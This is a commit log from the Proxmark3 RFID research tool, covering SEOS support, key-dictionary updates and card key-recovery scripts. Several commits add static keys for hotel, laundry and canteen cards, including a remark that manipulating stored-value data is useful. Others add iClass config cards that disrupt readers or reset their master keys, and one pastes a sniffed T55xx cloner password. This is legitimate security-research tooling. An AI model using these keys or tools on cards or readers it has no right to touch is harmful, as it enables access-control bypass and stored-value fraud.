As PLT-03273 OMNIKEY 5023 Software Developer Guide (https://www.hidglobal.com/documents/omnikey-5023-software-developer-guide) describes a command that returns additional information about SIO object containing PACS data, switching to more verbose one.
2025-01-07 00:15:35 +01:00
Jakub Kramarz
0f7574c982 sam_seos: add option to send arbitrary requests 2025-01-07 00:05:41 +01:00
Jakub Kramarz
dfb5fa3de4 armsrc/sam_seos.c: add SoRootOID in sam_request_pacs
As described in 5326-903 OMNIKEY 5326 Software Developer Guide (https://www.hidglobal.com/documents/omnikey-5326-dfr-developers-guide). Seems like it should be here since the beginning, but worked fine without.
2025-01-07 00:05:41 +01:00
Jakub Kramarz
c28ddd1d56 armsrc/sam_common.c: type cleanup 2025-01-07 00:05:41 +01:00
Jakub Kramarz
d8ebec6baa armsrc/sam_seos.c: cleanup in sam_seos_copy_payload_nfc2sam 2025-01-07 00:05:41 +01:00
Jakub Kramarz
7b5ce7fbef armsrc/sam_seos.c: added support for cards with uid of length != 4 2025-01-07 00:05:41 +01:00
Jakub Kramarz
472d2e9330 armsrc/sam_common.c: fix sam_append_asn1_node 2025-01-07 00:05:41 +01:00
Jakub Kramarz
c08e6c47c8 sam_seos: add suppport for HID SAM communication with SEOS cards, based on bettse/seader project 2025-01-07 00:05:33 +01:00
Jakub Kramarz
661b7bad22 armsrc/sam_picopass.c: extract common routines to sam_common.c 2025-01-07 00:04:48 +01:00
Jakub Kramarz
032619c1f3 armsrc/ticks.c: disable TC2 on StopTicks (may be enabled by StartCountSspClk) 2025-01-07 00:04:48 +01:00
Iceman
405c48424f
Merge pull request #2707 from evildaemond/master
Added SEOS Support
2025-01-06 23:23:44 +01:00
Adam Jon Foster
df2cf0a948
Added SEOS Support
Added generic SEOS Support with the following commands;
- `hf seos info` (slightly improved from the original
- `hf seos pacs` (return the SIO value from the default ADF and default tag)
- `hf seos adf ` (send a get data request to an ADF with a custom tag list)
- `hf seos gdf` (make a request for a GDF based upon a command found in their docs)
- `hf seos managekeys` (manage your own keys used for SEOS commands)

You still need keys to use this commandset, this does not have any keys and is theoretical at this stage until someone tests it with the keys.

Signed-off-by: Adam Jon Foster <me@evildaemond.com>
2025-01-07 06:17:37 +08:00
iceman1001
5b5f1722b0 minor changes with init and doubleing the EMRTD_MAX_FILE_SIZE to 70 000 bytes. Which might help for some files 2025-01-06 17:56:01 +01:00
Iceman
aa84e5ca8f
Merge pull request #2706 from csBlueChip/rf08s_full_v1-4
Revise "full" recovery script
2025-01-05 20:38:11 +01:00
BlueChip
86a7f8b495 Revise 'RF08S_full' script to NOT attempt to recover a card it does not support (v1.4) 2025-01-05 16:18:06 +00:00
Philippe Teuwen
917be92afc typos 2025-01-05 14:27:14 +01:00
Philippe Teuwen
c07b9f740d Add SLIX2 sample to recover_pk.py 2025-01-05 14:25:31 +01:00
iceman1001
2585a77403 fixed buffer overflow and swapped parameter to "suffix" since its not a output file name 2025-01-05 13:12:34 +01:00
iceman1001
45b3929b20 maur 2025-01-04 22:57:53 +01:00
Iceman
73b3b4d3be
Merge pull request #2703 from zxkmm/custom_write_file_name_tail
Add custom suffix for hf mf autopwn to -o argument
2025-01-04 16:01:17 +01:00
zxkmm
b997a91cd5 remove long name from sheet 2025-01-04 23:00:18 +08:00
zxkmm
4f6bcb2198 not use long argument 2025-01-04 22:56:11 +08:00
zxkmm
4b5913cc7c check len instead of the actual buffer as per iceman request 2025-01-04 22:52:05 +08:00
zxkmm
964d011b22 edit changelog per iceman request 2025-01-04 22:49:25 +08:00
zxkmm
be766fbe3b changelog 2025-01-04 21:24:10 +08:00
zxkmm
8f724b1f41 document - textual 2025-01-04 21:16:35 +08:00
zxkmm
8f2b48a778 add -o argument for hf mf autopwn 2025-01-04 21:14:20 +08:00
iceman1001
17338e2a5f style 2024-12-31 23:35:16 +01:00
Iceman
7843de1988
Merge pull request #2699 from Nya0/hts-restore
lf hitag hts restore & 82xx improvements
2024-12-31 21:40:58 +01:00
Iceman
4b2414f1d5
Merge pull request #2700 from piotrva/extend-spiffs-partition-last-page
Extend SPIFFS partition to last SPI FLASH page
2024-12-31 21:39:31 +01:00
Piotr Rzeszut
adadfb7fad Corrected documentation on SPI FLASH memory usage after SPIFFS area extension. 2024-12-29 22:45:50 +01:00
Piotr Rzeszut
e3486e57b1 Extend spiffs area to full FLASH array except last two sectors (signature and reserve one for future use) 2024-12-29 22:20:49 +01:00
Piotr Rzeszut
2ccfa187ab Remove unused definitions related to fixed-size SPI flash, improve comments for documentation 2024-12-29 22:19:32 +01:00
Piotr Rzeszut
b1ba5b3ea6 Merge branch 'master' into extend-spiffs-partition-last-page 2024-12-29 22:03:21 +01:00
Nya0
6bce80f520 fixed comments 2024-12-29 14:01:30 +03:00
Iceman
2c72db9b54
Merge pull request #2697 from piotrva/move-keys-library-to-spiffs
Move keys library to spiffs
2024-12-28 19:21:35 +01:00
Iceman
7eaab824f5
Merge branch 'master' into move-keys-library-to-spiffs
Signed-off-by: Iceman <iceman@iuse.se>
2024-12-28 19:21:22 +01:00
Iceman
8426ffa9ca
Merge pull request #2698 from piotrva/lf-em-410x-sim-default-help-imp
lf em 410x sim - default gap value of 0, extend help
2024-12-28 19:20:00 +01:00
Iceman
9e21f1b070
Merge branch 'master' into lf-em-410x-sim-default-help-imp
Signed-off-by: Iceman <iceman@iuse.se>
2024-12-28 19:19:46 +01:00
iceman1001
afcd57b1a1 identify MIFARE Duox 2024-12-28 19:18:27 +01:00
Nya0
86dc2e427c added to command files 2024-12-28 00:20:36 +03:00
Nya0
6b46a91896 tiny oopsie 2024-12-28 00:09:04 +03:00
Nya0
e72b51e1f7 lf hitag hts restore 2024-12-27 19:15:45 +03:00
Piotr Rzeszut
69606aeb07 Changed lf em 410x sim to use default gap value of 0 and extended help, addressing #2197 2024-12-27 00:28:07 +01:00
Piotr Rzeszut
5261106098 Add spiffs operation checks, update changelog and documentation after moving t55xx configurations 2024-12-26 21:58:30 +01:00
Iceman
59751900f5
Merge branch 'master' into move-keys-library-to-spiffs
Signed-off-by: Iceman <iceman@iuse.se>
2024-12-26 21:16:51 +01:00
Iceman
4012a72043
Merge pull request #2688 from Antiklesys/master
Added hf iclass trbl
2024-12-26 21:15:22 +01:00
Iceman
f36d8152c8
Merge branch 'master' into master
Signed-off-by: Iceman <iceman@iuse.se>
2024-12-26 21:15:14 +01:00
Piotr Rzeszut
dd17effaab Move T55XX config to spiffs file 2024-12-26 19:46:55 +01:00
Piotr Rzeszut
d1db0aa799 Extending SPIFFS into last page of the SPI FLASH 2024-12-26 15:04:05 +01:00
Piotr Rzeszut
4b5d532c9a Revert to strcpy instead of strcpy_s for compatibility. 2024-12-26 04:13:03 +01:00
Piotr Rzeszut
5ed4804044 Fix missing header file for strcpy_s 2024-12-26 04:10:10 +01:00
Piotr Rzeszut
90b8c1d39e Update documentation & changelog to reflect key dictionaries moved to SPIFFS from statically allocated memory 2024-12-26 03:08:17 +01:00
Piotr Rzeszut
34883cf91f Remove unused pointers to statically alocated storage for keys from pmflash.h. iClass flash-stores password dictionary seem not to be used anywhere. 2024-12-26 03:03:48 +01:00
Piotr Rzeszut
2fe0ba57b2 Change lf t55xx chk -m to read dictionary from spiffs file 2024-12-26 02:52:59 +01:00
Piotr Rzeszut
470536f0fd Upload also iClass and T55XX keys to spiffs files 2024-12-26 02:10:49 +01:00
Piotr Rzeszut
dd646a64a6 Add additional file exists check to remove errors 2024-12-26 01:25:54 +01:00
Piotr Rzeszut
d9a3e4f050 Refactor keys in flash statistics to check for files 2024-12-26 01:11:46 +01:00
Piotr Rzeszut
3b9ba0ffe5 Increase timeout to about 1400s in hf mf fchk to be able to run much more than 2100 keys check 2024-12-26 00:16:21 +01:00
Piotr Rzeszut
9242d2f956 Increase timeout to about 1400s in hf mf fchk to be able to run much more than 2100 keys check 2024-12-25 23:51:54 +01:00
Piotr Rzeszut
5af815f271 Mifare dictionary uploaded to spiffs using legacy function 2024-12-25 21:08:44 +01:00
Piotr Rzeszut
d7ab949d1f Change hf mf fchk --mem to read dictionary from spiffs file 2024-12-25 19:14:05 +01:00
Philippe Teuwen
825dea27a0 hf mf isen: fix timeout when used over slow link (tcp/bt) 2024-12-24 23:56:13 +01:00
Iceman
5b5cfce34c
Merge pull request #2695 from ry4000/master
R&Y: Added DAY RTA Tapp Card and Additional BKK BEM SVC AIDs to `aid_desfire.json`
2024-12-21 10:45:47 +01:00
ry4000
b275895e21
R&Y: Added DAY RTA Tapp Card and Additional BKK BEM Stored Value Card AIDs to aid_desfire.json
Added to `aid_desfire.json`
- DAY RTA Tapp Card AID
- Additional BKK BEM Stored Value Card AIDs

Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com>
2024-12-21 11:41:04 +11:00
Iceman
a87f5d8b9d
Merge pull request #2694 from klks/master
Add annotations for FMCOS2.0 CPU Card
2024-12-21 00:46:58 +01:00
klks
df3916c7b6 Add annotations for FMCOS2.0 CPU Card
Adding annotations for the FMCOS 2.0 CPU Card that is used/sold in China.
2024-12-20 22:50:20 +08:00
Philippe Teuwen
e5bee8dd6f Docker images: supports TCP & BT connections 2024-12-18 23:36:37 +01:00
Philippe Teuwen
fbf03b9e8c fix sudo support in cross-platform Docker instances 2024-12-18 22:51:27 +01:00
Philippe Teuwen
12775960dc Refactor Docker scripts 2024-12-18 22:24:20 +01:00
Philippe Teuwen
8e99b792b2 Add cross-platform docker images for armv7 and arm64 2024-12-18 22:18:21 +01:00
Iceman
e5da42dc92
Merge pull request #2692 from jof/jof/15-view-typo
Fix `hf 15 view` command examples
2024-12-18 17:31:20 +01:00
Philippe Teuwen
a1a9b50d24 Docker: fix test for pm3 when building images 2024-12-18 15:29:26 +01:00
Philippe Teuwen
f09705868a all Docker envs: add support for connection to host device 2024-12-18 13:31:06 +01:00
Jonathan Lassoff
cab81f4c91 Fix hf 15 view command examples 2024-12-18 11:26:53 +00:00
Iceman
9c4e821f94
Merge pull request #2691 from hiwanz/patch-1
Update macOS-Homebrew-Installation-Instructions.md
2024-12-17 12:33:34 +01:00
丸子
5bd33df708
Update macOS-Homebrew-Installation-Instructions.md
Apple Silicons are already supported

Signed-off-by: 丸子 <princeb4d@gmail.com>
2024-12-17 10:57:35 +08:00
Philippe Teuwen
59ae5d2285 hf 15 info: show all type matches and check ST25TVxC signature 2024-12-15 20:54:28 +01:00
Philippe Teuwen
be79654eb9 Add initial support for ST25TN and its signature verification 2024-12-15 17:14:41 +01:00
Philippe Teuwen
67ee460137 limit hf st suggstion to st25ta, if STA 2024-12-15 15:16:07 +01:00
Philippe Teuwen
a4b595c79b got DESFire Light with that pk... 2024-12-15 15:14:17 +01:00
Philippe Teuwen
571ac28229 st25ta02kb getsignature: handle locked tags 2024-12-15 14:02:52 +01:00
Philippe Teuwen
c9f2c17841 relax ecdsa_publickey_ng_t, should help MacOS compilation 2024-12-14 14:53:08 +01:00
Philippe Teuwen
86de7f512c rcovered_pk: fix c/h for partial in selftests 2024-12-14 14:39:34 +01:00
Philippe Teuwen
f26727eb28 Refactor originality checks. Notes:
- removed pk "NTAG424DNA, NTAG424DNATT, DESFire Light Ev2", "04B304...3B" which is a typo of "DESFire Ev2", "04B3...3A"},
- MIKRON pk currently not used because I don't know if it's for MFC, MFUL or sth else
- ST25TN pk added but currently not used, need to be implemented/tested
- ST25TV pk currently not used, need to be implemented/tested
2024-12-14 14:29:50 +01:00
Philippe Teuwen
93639e16a5 recover_pk selftests: show curve & hash 2024-12-14 02:17:39 +01:00
Philippe Teuwen
16424a83c9 recover_pk Flake8 ignore E501 2024-12-13 11:47:38 +01:00
Philippe Teuwen
0e819f75a4 UL AES alt pk 2024-12-13 10:32:07 +01:00
Antiklesys
de01578c4b
Update cmdhficlass.c
Signed-off-by: Antiklesys <syselkitna@gmail.com>
2024-12-13 16:03:45 +08:00
Antiklesys
afed67ca2c Added hf iclass trbl 2024-12-12 18:54:56 +08:00
Iceman
118dc684e5
Merge pull request #2687 from noproto/master
Remove condition duplicated in PR #2530
2024-12-12 07:07:36 +01:00
Nathan N
d965d5064e
Remove duplicated condition
Signed-off-by: Nathan N <noproto@users.noreply.github.com>
2024-12-12 00:25:44 -05:00
iceman1001
9cdef9ceb4 updated the uniq.yaml workflow to be case insensitive 2024-12-11 10:09:00 +01:00
Iceman
dbf50c690f
Merge pull request #2686 from Willy-JL/remove-duped-keys
Remove duplicate keys
2024-12-11 08:58:30 +01:00
WillyJL
11848a521e
Remove duplicate keys
Signed-off-by: WillyJL <49810075+Willy-JL@users.noreply.github.com>
2024-12-10 05:20:26 +01:00
Philippe Teuwen
a13b1db49f make style 2024-12-09 15:16:46 +01:00
Philippe Teuwen
09b31b5978 hf mfp info: fix support for real 4b cards 2024-12-09 14:41:51 +01:00
Iceman
e9d55ec26c
Merge pull request #2684 from piotrva/flash-mifare-keys-extension
Fix: SPI flash area for Mifare keys extended from 2047 to 4095 keys - not all sectors are erased
2024-12-09 09:48:40 +01:00
Iceman
b274334bc6
Merge pull request #2685 from ry4000/master
R&Y: Added BDL Go CT and CMH COTA Smartcard AIDs to aid_desfire.json
2024-12-09 09:48:08 +01:00
ry4000
6de7bd2cba
R&Y: Added BDL Go CT and CMH COTA Smartcard AIDs to aid_desfire.json
Added with thanks to TheDingo8MyBaby:
- BDL Go CT AID
- CMH COTA Smartcard AID

Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com>
2024-12-08 15:14:05 +11:00
Piotr Rzeszut
0e0dcf4f4e Fix memory erase before writing keys dictionaries for SPI flash with different page number than 4 - always erase on the last page. 2024-12-07 16:48:59 +01:00
Piotr Rzeszut
d46bff7582 Reverting change in Changelog.md commited by repo missynchronization. 2024-12-07 13:30:32 +01:00
Piotr Rzeszut
a516c2e857 Correct list of flash pages to be erased after extenging Mifare flash dictionary area - update changelog 2024-12-07 13:14:46 +01:00
Piotr Rzeszut
88d9345bc7 Correct list of flash pages to be erased after extenging Mifare flash dictionary area 2024-12-07 13:12:01 +01:00
Iceman
461528d531
Merge pull request #2655 from onovy/master
Add new Mifare Classic keys from Momentum firmware project.
2024-12-07 05:30:35 +01:00
Iceman
92e8dea093
Merge branch 'master' into master
Signed-off-by: Iceman <iceman@iuse.se>
2024-12-07 05:18:41 +01:00
Iceman
489399c3fb
Merge pull request #2683 from piotrva/flash-mifare-keys-extension
SPI flash area for Mifare keys extended from 2047 to 4095 keys
2024-12-07 05:14:25 +01:00
Piotr Rzeszut
b1b10c2bea As extending SPI flash storage for Mifare need to run init_rdv4 script for a proper operation add a note under compilation instructions 2024-12-07 00:36:52 +01:00
Piotr Rzeszut
1b781aae9f Update documentation on SPI flash memory to use modern client function calls with dashes. 2024-12-07 00:35:37 +01:00
Piotr Rzeszut
565f3f1feb Extend storage allocated for Mifare keys to 4095 keys. Update documentation on the feature and memory map 2024-12-07 00:34:29 +01:00
Iceman
eb12dd78a1
Merge pull request #2682 from eagle00789/patch-2
Update CHANGELOG.md
2024-12-06 05:39:17 +01:00
Iceman
cced003405
Merge pull request #2681 from eagle00789/patch-1
Update mfc_default_keys.dic
2024-12-06 05:38:28 +01:00
Chris Simon
2850d2aa0f
Update CHANGELOG.md
Signed-off-by: Chris Simon <info@decomputeur.nl>
2024-12-05 10:48:52 +01:00
Chris Simon
b1a5df53d3
Update mfc_default_keys.dic
Added Dutch Statistics Agency

Signed-off-by: Chris Simon <info@decomputeur.nl>
2024-12-05 10:45:49 +01:00
Iceman
587761fdf0
Merge pull request #2680 from Eltrick/new-keys
Add facility static hotel key
2024-12-05 06:22:30 +01:00
Iceman
c849a06a0b
Merge pull request #2679 from nvx/d40_crypto_fix
fis MF3ICD40 (D40) secure channel crypto
2024-12-05 06:21:49 +01:00
Lucifer Voeltner
5bfd1239ae
Add new facility static hotel key 2024-12-05 10:41:26 +07:00
nvx
34b2a3175f fis MF3ICD40 (D40) secure channel crypto 2024-12-04 22:21:22 +10:00
Philippe Teuwen
87266654f7 MIFARE Plus 4b UID: fix signature check 2024-12-04 08:19:17 +01:00
Iceman
3454992bc8
Merge pull request #2673 from nvx/fix_trace_namme
fix pacs data in example trace filename
2024-12-03 16:56:57 +01:00
Iceman
69e407e8d5
Merge pull request #2666 from piotrva/hf-mf-ultimatecard-script-auto-set-maxblock
Automatically set maximum r/w block for preset configurations of Mifare Classic in hf_mf_ultimatecard.lua, add presets for 2k variants.
2024-12-03 16:26:13 +01:00
Iceman
8079153ee6
Merge branch 'master' into hf-mf-ultimatecard-script-auto-set-maxblock
Signed-off-by: Iceman <iceman@iuse.se>
2024-12-03 16:26:01 +01:00
Iceman
7e072dc976
Merge pull request #2670 from ANTodorov/smart_spi_detect
rework to use smart SPI flash detection
2024-12-03 16:24:37 +01:00
Iceman
4cd914ad95
Merge branch 'master' into smart_spi_detect
Signed-off-by: Iceman <iceman@iuse.se>
2024-12-03 16:23:56 +01:00
Iceman
692235beb0
Merge pull request #2678 from libin-ka/master
Add Proxmark3 Ultimate  FPGA   xc2s50-5-tq144.ucf  files
2024-12-03 16:20:49 +01:00
Iceman
3727f63781
Merge pull request #2677 from ry4000/master
R&Y: Updated DEN MyRide AID in aid_desfire.json
2024-12-03 16:20:10 +01:00
Iceman
dca915808c
Merge pull request #2676 from Eltrick/g3-apdu-help
modify 'hf mf gen3blk' help to comply with the sak change
2024-12-03 16:19:42 +01:00
Iceman
db4844e889
Merge pull request #2675 from Nya0/hts-dump
added "lf hitag hts dump" command
2024-12-03 16:19:10 +01:00
libin-ka
537a9f0171
Add files via upload
Add Proxmark3 Ultimate  FPGA   xc2s50-5-tq144.ucf  files

Signed-off-by: libin-ka <46210417+libin-ka@users.noreply.github.com>
2024-12-03 21:04:50 +08:00
ry4000
2950d78703
R&Y: Updated DEN MyRide AID in aid_desfire.json
- Updated Vendor to its legal name (Masabi Ltd)
- Added a standardised description to identify the AID as being issued by Masabi Ltd for its Justride platform.

Thank you.

-R&Y.

Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com>
2024-12-03 22:51:29 +11:00
ANTodorov
bd803ce8fd
rework to use smart SPI flash detection
Check JEDEC ID is in range between 0x0001 ... 0xFFFE,
Compare the output from 0x90 and 0x9F,
Then the size from the JEDEC ID

Otherwise fall-back to 256 kB

Extend the spi_flash_decode.py to handle more (known) SPI flash ICs
2024-12-03 09:40:57 +02:00
Lucifer Voeltner
e416080ae8
make the help message even clearer, and fix a bug featuring me being unable to count 2024-12-03 10:23:41 +07:00
Lucifer Voeltner
cbc7d61781
modify 'hf mf gen3blk' help to comply with the sak change 2024-12-03 10:13:09 +07:00
Piotr Rzeszut
416770c170 Remove support for 2k MIFARE tags, as it will be better to add this together with other variants of MIFARE Plus in the future 2024-12-02 22:43:05 +01:00
Piotr Rzeszut
7d9d783420 Merge branch 'master' of https://github.com/RfidResearchGroup/proxmark3 into hf-mf-ultimatecard-script-auto-set-maxblock
# Conflicts:
#	CHANGELOG.md
2024-12-02 22:41:47 +01:00
Iceman
80970db7e3
Merge pull request #2672 from kitsunehunter/laundry-keys
add static laundry card keys
2024-12-02 20:20:17 +01:00
Iceman
de3f374930
Merge pull request #2671 from Eltrick/g3apdu-sak
Fix Gen 3 APDU block 0 SAK not being written correctly
2024-12-02 20:19:45 +01:00
Iceman
9623a5f302
Merge pull request #2669 from Eltrick/master
'hf mfu incr' to increment counters of UL-EV1 family; Also fix reading of NTAG counters in 'hf mfu info'
2024-12-02 20:18:27 +01:00
Iceman
c336cdc931
Merge pull request #2668 from Antiklesys/master
Added unhash instructions after legbrute
2024-12-02 20:14:36 +01:00
nya0
7fbcb1c30f added "lf hitag hts dump" command 2024-12-02 16:15:13 +03:00
nvx
96a1f21764 fix pacs data in example trace filename 2024-12-02 16:16:59 +10:00
Xavier
4e40d3d6a7
Update mfc_default_keys.dic
Signed-off-by: Xavier <90627943+kitsunehunter@users.noreply.github.com>
2024-12-01 20:27:08 -05:00
Xavier
ef74de3721
add static laundry card keys
these cards are stored value and manipulating the data is useful

Signed-off-by: Xavier <90627943+kitsunehunter@users.noreply.github.com>
2024-12-01 20:17:05 -05:00
Lucifer Voeltner
4adf663300
Fix Gen 3 APDU block 0 SAK not being written correctly 2024-12-01 16:27:35 +07:00
Lucifer Voeltner
d8d090612d
'hf mfu incr' to increment counters of UL-EV1 family; Also fix reading of NTAG counters in 'hf mfu info' 2024-12-01 15:29:00 +07:00
Philippe Teuwen
ca15bbd019 Rework theremin script 2024-11-30 22:49:31 +01:00
Antiklesys
e4a3a244ce Added unhash instructions after legbrute
Added unhash instructions after legbrute
2024-11-30 07:53:52 +08:00
Piotr Rzeszut
a11f3173cc Add preset for 2k MIFARE Classic tags hf_mf_ultimatecard.lua when using preset configurations, update changelog 2024-11-29 01:45:58 +01:00
Piotr Rzeszut
a3eb3bfbe9 Automatically set maximum read/write block by hf_mf_ultimatecard.lua when using preset configurations 2024-11-29 01:43:56 +01:00
Philippe Teuwen
23e6aa40b7 hf/lf tune: fix segfault when called from script 2024-11-28 17:35:45 +01:00
Iceman
b75818116a
Merge pull request #2664 from piotrva/hf-mf-ultimatecard-script-max-rw-blocks
Add option to set and get maximum read/write block number using hf_mf_ultimatecard script
2024-11-28 15:21:09 +01:00
Iceman
80f40492fc
Merge branch 'master' into hf-mf-ultimatecard-script-max-rw-blocks
Signed-off-by: Iceman <iceman@iuse.se>
2024-11-28 15:20:56 +01:00
Iceman
099602f421
Merge pull request #2665 from ANTodorov/spi_flash_W25Q64JV
added JEDEC information for SPI flash W25Q64JV
2024-11-28 15:19:54 +01:00
Iceman
e1e5bfd82c
Merge pull request #2662 from ry4000/master
R&Y: Added GRB Tap-N-Go to aid_desfire.json
2024-11-28 15:18:46 +01:00
Iceman
447bb7804a
Merge pull request #2663 from douniwan5788/fix_concatbits_again
fix Hitag S concatbits and `lf em 410x clone --hts`
2024-11-28 15:17:56 +01:00
ANTodorov
639f16ba3b
added JEDEC information for SPI flash W25Q64JV
added some "extrapolated" but logical matches by Manufacturer/Device ID only

some reordering
2024-11-28 11:04:32 +02:00
Piotr Rzeszut
0eb86f2c58 Add info about changes in hf_mf_ultimatecard.lua (set/get maximum read/write block) to Changelog 2024-11-28 01:10:36 +01:00
Piotr Rzeszut
be21154d83 Refactor arguments help of hf_mf_ultimatecard.lua, done because already had to split the string due to reaching limit of string length in lua. 2024-11-28 01:04:18 +01:00
Piotr Rzeszut
bf1726a31d Add option to set maximum read/write block using hf_mf_ultimatecard.lua 2024-11-28 01:02:41 +01:00
Piotr Rzeszut
0fa8351fa9 Add display of maximum read/write block in configuration parsing in hf_mf_ultimatecard.lua 2024-11-28 01:01:11 +01:00
douniwan5788
f0b93405fa fix Hitag S concatbits and lf em 410x clone --hts 2024-11-27 00:02:00 +08:00
Philippe Teuwen
d39775ca46 recover_pk.py: replace secp192r1 by prime192v1 2024-11-26 12:41:05 +01:00
ry4000
10d8ae13ca
R&Y: Added GRB Tap-N-Go to aid_desfire.json
- Added GRB Tap-N-Go F21201 and F21202 to aid_desfire.json.
Thank you.
-R&Y.

Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com>
2024-11-26 18:08:48 +11:00
Philippe Teuwen
830549b474 hf mf isen: add collect_fm11rf08s_without_backdoor option 2024-11-25 00:53:57 +01:00
Philippe Teuwen
c4b8569d87 fix CmdHF14AMfISEN error handling 2024-11-24 12:26:07 +01:00
Iceman
cdfa834c48
Merge pull request #2656 from hochwasser/patch-1
Update mfc_default_keys.dic
2024-11-24 08:01:10 +01:00
Iceman
f6a15fbf27
Merge pull request #2658 from Akury83/master
Update t55xx_default_pwds.dic
2024-11-24 07:58:21 +01:00
Iceman
3159e84a9e
Merge pull request #2659 from Antiklesys/master
Updated legrec from sim to est and added special iclass config cards
2024-11-24 07:57:20 +01:00
Antiklesys
2aae3317a0 Added more configcards
Added special config cards:

1- Elite Bugger : bugs the reader causing an erroneous and disruptive behavior
2- Added one config card to change the reader's default master key
3- Added a reset master key config card to restore the reader to the default master key
2024-11-24 13:08:28 +08:00
Antiklesys
2f2667944c Update cmdhficlass.c 2024-11-24 12:59:04 +08:00
Akury83
8ae5e7aee1
Update t55xx_default_pwds.dic
Update to include Chinese cloner ZX-COPY10.
Sniffed using the pm3 client: ```[usb] pm3 --> lf t5 sniff -1

[=] T55xx command detection
[+] Downlink mode           |  password  |   Data   | blk | page |  0  |  1  | raw
[+] ------------------------+------------+----------+-----+------+-----+-----+-------------------------------------------------------------------------------
[+] Default Read            |            |          |  3  |   0  |  18 |  47 | 101011
[+] Default write/pwd read  | [00083838] | 00107070 |  0  |   0  |  18 |  46 | 10000000000000100000111000001110000000
[+] Leading 0 pwd write     |   00000000 | 00000000 |  0  |   0  |   6 |  70 | 0100000000000000000000000000000000000000000000000000000000000000000000000
[+] Default write/pwd read  | [0EAAACAA] | 1D555955 |  1  |   0  |  18 |  46 | 10000011101010101010101100101010101001
[+] Default write/pwd read  | [2AB2CB4D] | 5565969A |  2  |   0  |  18 |  46 | 10001010101011001011001011010011010010
[+] Leading 0 pwd write     |   00000000 | 00000000 |  0  |   0  |   7 |  16 | 0100000000000000000000000000000000000000000000000000000000000000000000000
[+] Default write/pwd read  | [4B352AB2] | 966A5565 |  3  |   0  |  18 |  47 | 10010010110011010100101010101100101011
[+] Leading 0 pwd write     |   00000000 | 00000000 |  0  |   0  |   8 |  23 | 0100000000000000000000000000000000000000000000000000000000000000000000000
[+] Default write/pwd read  | [3D9EAE24] | 7B3D5C48 |  7  |   0  |  18 |  46 | 10001111011001111010101110001001000111
[+] -----------------------------------------------------------------------------------------------------------------------------------------------------

[usb] pm3 --> lf t5 det -p 7b3d5c48
[=]  Chip type......... T55x7
[=]  Modulation........ FSK2a
[=]  Bit rate.......... 4 - RF/50
[=]  Inverted.......... Yes
[=]  Offset............ 33
[=]  Seq. terminator... No
[=]  Block0............ 00107070 (auto detect)
[=]  Downlink mode..... default/fixed bit length
[=]  Password set...... Yes
[=]  Password.......... 7B3D5C48

[usb] pm3 -->```

Signed-off-by: Akury83 <87064827+Akury83@users.noreply.github.com>
2024-11-24 15:45:43 +11:00
hochwasser
c3e9602690
Update mfc_default_keys.dic
Keys of the BW Kantine

Signed-off-by: hochwasser <hochwasser@users.noreply.github.com>
2024-11-23 10:26:24 +01:00
Ondřej Nový
3451374cf7 Add new Mifare Classic keys from Momentum firmware project. 2024-11-22 21:27:35 +01:00
Iceman
f1ff643aca
Merge pull request #2654 from Antiklesys/master
Updated legrec functionality to support simulations
2024-11-22 13:26:27 +01:00
Iceman
c3571f1035
Merge pull request #2648 from csBlueChip/master
add KDF functionality to rf08s 'full' card recovery script
2024-11-22 13:24:13 +01:00
Iceman
adb5d5eea5
Merge branch 'master' into master
Signed-off-by: Iceman <iceman@iuse.se>
2024-11-22 13:10:16 +01:00
iceman1001
8c9904b274 update release info 2024-11-22 12:19:10 +01:00
iceman1001
daff8228a2 Revert "Release v4.19552 - Orca"
This reverts commit a039ac18cc.
2024-11-22 12:15:19 +01:00
iceman1001
a039ac18cc Release v4.19552 - Orca 2024-11-22 12:15:19 +01:00
iceman1001
1eb6e5cfe6 text 2024-11-22 12:15:06 +01:00
iceman1001
b1c604c4cb style 2024-11-22 11:32:10 +01:00
Iceman
7c9e3c6221
Merge pull request #2653 from diorch1968/master
insert hf_legic.lua script changes
2024-11-22 11:11:25 +01:00
Antiklesys
a3813e970d Updated legrec functionality to support simulations
Added a functionality to simulate/estimate the key recovery process assuming the card was standard keyed.
2024-11-22 17:45:12 +08:00
Dimitri
1df35ff67c insert hf_legic.lua script changes 2024-11-22 08:41:27 +01:00
Philippe Teuwen
7c95488035 Avoid stupid cppcheck warning 2024-11-21 23:05:59 +01:00
n-hutton
4a23fb05f0 Cherry pick POC of emv simulation 2024-11-21 19:23:03 +00:00
Iceman
325376d7ee
Merge pull request #2651 from diorch1968/master
hf_legic.lua script correction
2024-11-21 18:49:20 +01:00
Iceman
4b141ca2c4
Merge pull request #2650 from ANTodorov/fix_spiffs_tree_linkname
fixed symlink name in mem spiffs tree
2024-11-21 18:49:04 +01:00
Iceman
f66d5970be
Merge branch 'master' into fix_spiffs_tree_linkname
Signed-off-by: Iceman <iceman@iuse.se>
2024-11-21 18:48:58 +01:00
Iceman
a6c1e2a626
Merge pull request #2649 from ANTodorov/mem_spiffs_wipe_fix1
fix reported file/link names when `mem spiffs wipe`
2024-11-21 18:48:27 +01:00
diorch1968
7937f1ae8c
Merge branch 'RfidResearchGroup:master' into master 2024-11-21 15:09:15 +01:00
ANTodorov
99d5a72879
fixed symlink name in mem spiffs tree
the used strtok(...,".")` is cutting the name to the first dot
linkname.txt.lnk -> linkname

with the fix it is
linkname.txt.lnk -> linkname.txt
2024-11-21 14:28:39 +02:00
ANTodorov
7b99bfa3d6
fix reported file/link names when mem spiffs wipe 2024-11-21 12:31:48 +02:00
BlueChip
694215bc53 add KDF functionality to rf08s 'full' card recovery script 2024-11-21 00:40:09 +00:00
iceman1001
9f4a02808b fix atrs entry 2024-11-21 00:45:35 +01:00
iceman1001
f1e6cd8a4c style 2024-11-21 00:38:02 +01:00
Iceman
84f491776b
Merge pull request #2647 from ry4000/master
Added PACS AID and Updated PT AID
2024-11-21 00:36:53 +01:00
iceman1001
effb9f4030 update atrs list 2024-11-21 00:36:24 +01:00
ry4000
266afd19a9
Added PACS AID and Updated PT AID
- Added MOBOTIX AID.
- Updated JFK OMNY AID to add BMW Digital Key as an alternative AID use.

Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com>
2024-11-21 10:15:21 +11:00
iceman1001
ab676287d2 fix breaking builds 2024-11-20 23:48:14 +01:00
iceman1001
2ad635ce57 style 2024-11-20 23:32:02 +01:00
iceman1001
0a7ebcf3e3 text 2024-11-20 23:13:42 +01:00
Dimitri
